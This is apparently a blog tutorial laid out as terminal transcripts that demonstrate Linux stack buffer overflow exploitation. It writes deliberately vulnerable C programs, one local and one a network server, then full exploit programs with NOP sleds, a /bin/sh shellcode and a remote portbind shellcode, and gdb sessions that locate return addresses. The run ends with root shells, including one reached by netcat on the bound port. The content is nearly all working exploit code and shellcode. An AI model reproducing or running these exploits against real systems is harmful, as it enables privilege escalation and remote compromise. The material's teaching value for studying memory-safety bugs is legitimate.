Jeremy Brown [0xjbrown41@gmail.com/jbrownsec.blogspot.com] Stack Overflow Exploitation Demonstration [LINUX] [PART 1 + LOCAL][PART 1 + LOCAL][PART 1 + LOCAL][PART 1 + LOCAL][PART 1 + LOCAL][PART 1 + LOCAL] bugs@linux:~$ cat bof.c #include int main(int argc, char *argv[]) { char buf[1024]; if(argc < 2) { printf("usage: %s data\n", argv[0]); return 0; } sprintf(buf, "%s", argv[1]); printf("\n%s\n\n", buf); return 0; } bugs@linux:~$ gcc -o bof bof.c bugs@linux:~$ ./bof usage: ./bof data bugs@linux:~$ gdb bof GNU gdb 6.1.1 Copyright 2004 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i486-linux-linux"...Using host libthread_db library "/lib/libthread_db.so.1". (gdb) r `perl -e 'print "A" x 1040'` Starting program: /home/bugs/bof `perl -e 'print "A" x 1040'` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..... Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () (gdb) i r eax 0x0 0 ecx 0x0 0 edx 0x413 1043 ebx 0x4015760c 1075148300 esp 0xbffff360 0xbffff360 ebp 0x41414141 0x41414141 esi 0x40014900 1073826048 edi 0xbffff3a4 -1073744988 eip 0x41414141 0x41414141 eflags 0x10282 66178 cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x2b 43 fs 0x0 0 gs 0x0 0 (gdb) q The program is running. Exit anyway? (y or n) y bugs@linux:~$ cat bofex.c #include #define RETADDR 0x41424344 // return address to hit nop slide + shellcode char shellcode[] = "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x31\xc0\x50" "\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89" "\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"; int main(int argc, char *argv[]) { if(argc < 3) { printf("Usage: %s prog size\n", argv[0]); return 0; } char *ptr, *prog = argv[1]; int i, size = atoi(argv[2]); long *addr_ptr; char buffer[size]; ptr = buffer; addr_ptr = (long *)ptr; for(i = 0; i < size; i += 4) *(addr_ptr++) = RETADDR; // put the return address in our exploit buffer for(i = 0; i < size / 2; i++) buffer[i] = '\x90'; // fill around half of the buffer with NOPs ptr = buffer + ((size / 2) - (strlen(shellcode) / 2)); for(i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; // here comes the shellcode execl(prog, prog, buffer, 0); // smash the stack return 0; } bugs@linux:~$ gcc -o bofex bofex.c bugs@linux:~$ gdb bofex GNU gdb 6.1.1 Copyright 2004 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i486-linux-linux"...Using host libthread_db library "/lib/libthread_db.so.1". (gdb) r /home/bugs/bof 1040 Starting program: /home/bugs/bofex /home/bugs/bof 1040 Program received signal SIGTRAP, Trace/breakpoint trap. 0x40000b20 in ?? () from /lib/ld-linux.so.2 (gdb) c Continuing. ..... //shh/bin ..... DCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBADCBA Program received signal SIGSEGV, Segmentation fault. 0x41424344 in ?? () (gdb) i r eax 0x0 0 ecx 0x0 0 edx 0x429 1065 ebx 0x4015760c 1075148300 esp 0xbffff340 0xbffff340 ebp 0x41424344 0x41424344 esi 0x40014900 1073826048 edi 0xbffff384 -1073745020 eip 0x41424344 0x41424344 eflags 0x10282 66178 cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x2b 43 fs 0x0 0 gs 0x0 0 (gdb) x/100x $esp-800 0xbffff020: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff030: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff040: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff050: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff060: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff070: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff080: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff090: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff0a0: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff0b0: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff0c0: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff0d0: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff0e0: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff0f0: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff100: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff110: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff120: 0x90909090 0x90909090 0xdb31c031 0x80cd17b0 0xbffff130: 0x6850c031 0x68732f2f 0x69622f68 0x50e3896e 0xbffff140: 0x99e18953 0x80cd0bb0 0x41424344 0x41424344 0xbffff150: 0x41424344 0x41424344 0x41424344 0x41424344 0xbffff160: 0x41424344 0x41424344 0x41424344 0x41424344 0xbffff170: 0x41424344 0x41424344 0x41424344 0x41424344 0xbffff180: 0x41424344 0x41424344 0x41424344 0x41424344 0xbffff190: 0x41424344 0x41424344 0x41424344 0x41424344 0xbffff1a0: 0x41424344 0x41424344 0x41424344 0x41424344 (gdb) q The program is running. Exit anyway? (y or n) y bugs@linux:~$ grep RETADDR bofex.c #define RETADDR 0x41424344 // return address to hit nop slide + shellcode *(addr_ptr++) = RETADDR; // put the return address in our exploit buffer bugs@linux:~$ pico bofex.c bugs@linux:~$ grep RETADDR bofex.c #define RETADDR 0xbffff0e0 // return address to hit nop slide + shellcode *(addr_ptr++) = RETADDR; // put the return address in our exploit buffer bugs@linux:~$ gcc -o bofex bofex.c bugs@linux:~$ ./bofex Usage: ./bofex prog size bugs@linux:~$ ./bofex /home/bugs/bof 1040 ..... //shh/bin ..... sh-2.05b# id uid=0(root) gid=100(users) groups=100(users) sh-2.05b# exit exit bugs@linux:~$ [PART 2 + REMOTE][PART 2 + REMOTE][PART 2 + REMOTE][PART 2 + REMOTE][PART 2 + REMOTE][PART 2 + REMOTE] (Terminal #1) bugs@linux:~$ cat serv.c #include #include #include #include #define BUFFSZ 1024 #define READSZ 2048 int main(int argc, char *argv[]) { if(argc < 2) { printf("Usage: %s port\n", argv[0]); return 0; } int z, cli, serv, port = atoi(argv[1]); struct sockaddr_in client, server; server.sin_family = AF_INET; server.sin_port = htons(port); server.sin_addr.s_addr = INADDR_ANY; if((serv = socket(AF_INET, SOCK_STREAM, 0)) == -1) { printf("Error: socket()\n"); return -1; } if(bind(serv, (struct sockaddr *)&server, sizeof(struct sockaddr)) == -1) { printf("Error: bind()\n"); return -1; } if(listen(serv, 10) == -1) { printf("Error: listen()\n"); return -1; } for(;;) { cli = accept(serv, (struct sockaddr *)&client, &z); if(vulnerable(cli) == -1) { printf("Error: vulnerable()\n"); close(cli); } } return 0; } int vulnerable(int sock) { char buffer[BUFFSZ], readbuf[READSZ]; memset(buffer, 0, BUFFSZ); memset(readbuf, 0, READSZ); read(sock, readbuf, READSZ, 0); sprintf(buffer, "%s", readbuf); // we smash the stack here send(sock, buffer, BUFFSZ, 0); close(sock); } bugs@linux:~$ gcc -o serv serv.c bugs@linux:~$ ./serv Usage: ./serv port bugs@linux:~$ gdb serv GNU gdb 6.5 Copyright (C) 2006 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i486-linux-linux"...Using host libthread_db library "/lib/libthread_db.so.1". (gdb) r 5555 Starting program: /home/bugs/serv 5555 (Terminal #2) bugs@linux:~$ cat servex.c #include #include #include #include #define RETADDR 0x41424344 // return address to hit nop slide + shellcode char shellcode[] = /* Linux Portbind @ 52972 */ "\x6a\x66\x58\x6a\x01\x5b\x99\x52\x53\x6a\x02\x89" "\xe1\xcd\x80\x52\x43\x68\xff\x02\xce\xec\x89\xe1" "\x6a\x10\x51\x50\x89\xe1\x89\xc6\xb0\x66\xcd\x80" "\x43\x43\xb0\x66\xcd\x80\x52\x56\x89\xe1\x43\xb0" "\x66\xcd\x80\x89\xd9\x89\xc3\xb0\x3f\x49\xcd\x80" "\x41\xe2\xf8\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f" "\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"; int main(int argc, char *argv[]) { if(argc < 4) { printf("Usage: %s host port size\n", argv[0]); return 0; } char *ptr, *host = argv[1]; int i, len, sock, port = atoi(argv[2]), size = atoi(argv[3]); long *addr_ptr; char buffer[size]; ptr = buffer; addr_ptr = (long *)ptr; struct sockaddr_in target; for(i = 0; i < size; i += 4) *(addr_ptr++) = RETADDR; // put the return address in our exploit buffer for(i = 0; i < size / 2; i++) buffer[i] = '\x90'; // fill around half of the buffer with NOPs ptr = buffer + ((size / 2) - (strlen(shellcode) / 2)); for(i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; // here comes the shellcode len = strlen(buffer); target.sin_family = AF_INET; target.sin_port = htons(port); target.sin_addr.s_addr = inet_addr(host); if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) { printf("Error: socket()\n"); return -1; } if(connect(sock, (struct sockaddr *)&target, sizeof(struct sockaddr)) == -1) { printf("Error: connect()\n"); return -1; } send(sock, buffer, len, 0); return 0; } bugs@linux:~$ gcc -o servex servex.c bugs@linux:~$ ./servex Usage: ./servex host port size bugs@linux:~$ ./servex 127.0.0.1 5555 1040 (Terminal #1) Program received signal SIGSEGV, Segmentation fault. 0x41424344 in ?? () (gdb) i r eax 0xffffffff -1 ecx 0x9 9 edx 0x4000baa0 1073789600 ebx 0x4015bff0 1075167216 esp 0xbffff570 0xbffff570 ebp 0x41424344 0x41424344 esi 0xbffff630 -1073744336 edi 0x2 2 eip 0x41424344 0x41424344 eflags 0x10286 [ PF SF IF RF ] cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x2b 43 fs 0x0 0 gs 0x0 0 (gdb) x/100x $esp-800 0xbffff250: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff260: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff270: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff280: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff290: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff2a0: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff2b0: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff2c0: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff2d0: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff2e0: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff2f0: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff300: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff310: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff320: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff330: 0x90909090 0x90909090 0x90909090 0x666a9090 0xbffff340: 0x5b016a58 0x6a535299 0xcde18902 0x68435280 0xbffff350: 0xecce02ff 0x106ae189 0xe1895051 0x66b0c689 0xbffff360: 0x434380cd 0x80cd66b0 0xe1895652 0xcd66b043 0xbffff370: 0x89d98980 0x493fb0c3 0xe24180cd 0x6e6852f8 0xbffff380: 0x6868732f 0x69622f2f 0x5352e389 0x0bb0e189 0xbffff390: 0x414280cd 0x41424344 0x41424344 0x41424344 0xbffff3a0: 0x41424344 0x41424344 0x41424344 0x41424344 0xbffff3b0: 0x41424344 0x41424344 0x41424344 0x41424344 0xbffff3c0: 0x41424344 0x41424344 0x41424344 0x41424344 0xbffff3d0: 0x41424344 0x41424344 0x41424344 0x41424344 (gdb) q The program is running. Exit anyway? (y or n) y root@linux:~# ./serv 5555 (Terminal #2) bugs@linux:~$ grep RETADDR servex.c #define RETADDR 0x41424344 // return address to hit nop slide + shellcode *(addr_ptr++) = RETADDR; // put the return address in our exploit buffer bugs@linux:~$ pico servex.c bugs@linux:~$ grep RETADDR servex.c #define RETADDR 0xbffff250 // return address to hit nop slide + shellcode *(addr_ptr++) = RETADDR; // put the return address in our exploit buffer bugs@linux:~$ gcc -o servex servex.c bugs@linux:~$ netstat -antp | grep serv (Not all processes could be identified, non-owned process info will not be shown, you would have to be root to see it all.) Active Internet connections (servers and established) tcp 0 0 0.0.0.0:5555 0.0.0.0:* LISTEN 2256/serv bugs@linux:~$ ./servex 127.0.0.1 5555 1040 bugs@linux:~$ netstat -antp | grep serv (Not all processes could be identified, non-owned process info will not be shown, you would have to be root to see it all.) Active Internet connections (servers and established) tcp 0 0 0.0.0.0:52972 0.0.0.0:* LISTEN 2256/serv tcp 0 0 0.0.0.0:5555 0.0.0.0:* LISTEN 2256/serv tcp 1 0 127.0.0.1:5555 127.0.0.1:32834 CLOSE_WAIT 2256/serv bugs@linux:~$ nc localhost 52972 id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy) exit bugs@linux:~$ Questions. Comments. Concerns. --> 0xjbrown41@gmail.com